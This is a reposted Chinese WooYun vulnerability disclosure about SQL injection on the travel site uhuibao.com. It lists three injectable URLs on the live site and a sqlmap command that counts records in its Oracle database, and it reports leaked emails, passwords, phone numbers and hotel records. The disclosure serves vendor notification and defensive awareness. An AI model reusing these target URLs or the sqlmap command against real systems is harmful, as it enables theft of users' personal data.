神刀安全网

漏洞标题: 游惠宝多处注入涉及大量客户信息(48W+)

漏洞详情

披露状态:

2016-04-19: 细节已通知厂商并且等待厂商处理中
2016-04-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

游惠宝系统又发现3个sql注入漏洞,导致过百万的数据泄露,涉及大量的用户邮箱,密码,手机号,开房记录等敏感信息泄露,危害特别重大大。

详细说明:

上一个漏洞之前有人提交过3个注入点,新发现的这3个属于不同的注入点,

注入点:1.

code 区域
http://www.uhuibao.com/yh/detail/?ytid=0&suid=261&yid=1

2.

code 区域
http://www.uhuibao.com/index.php/?s=1

3.

code 区域
http://www.uhuibao.com/card/index/?chl=web

但是经过测试 WooYun: 游惠宝官网发现数个sql注入漏洞 这个漏洞虽然当时说正在处理,但是至今已经公开,但是仍未修复,加上前面的,总得该算有6个注入点

漏洞证明:

注入出来都是37个数据库:

漏洞标题:  游惠宝多处注入涉及大量客户信息(48W+)

漏洞标题:  游惠宝多处注入涉及大量客户信息(48W+)

注入出的内容都是一样的,我就选一个截图就行了:

code 区域
sqlmap -u "http://www.uhuibao.com/product/detail/?proid=79" --dbms=oracle --current-db -D UHUIBAO --count

当前数据库大概就有三四百万的数据量:

漏洞标题:  游惠宝多处注入涉及大量客户信息(48W+)

漏洞标题:  游惠宝多处注入涉及大量客户信息(48W+)

漏洞标题:  游惠宝多处注入涉及大量客户信息(48W+)

修复方案:

过滤,重视安全

版权声明:转载请注明来源 小苹果@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 游惠宝多处注入涉及大量客户信息(48W+)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址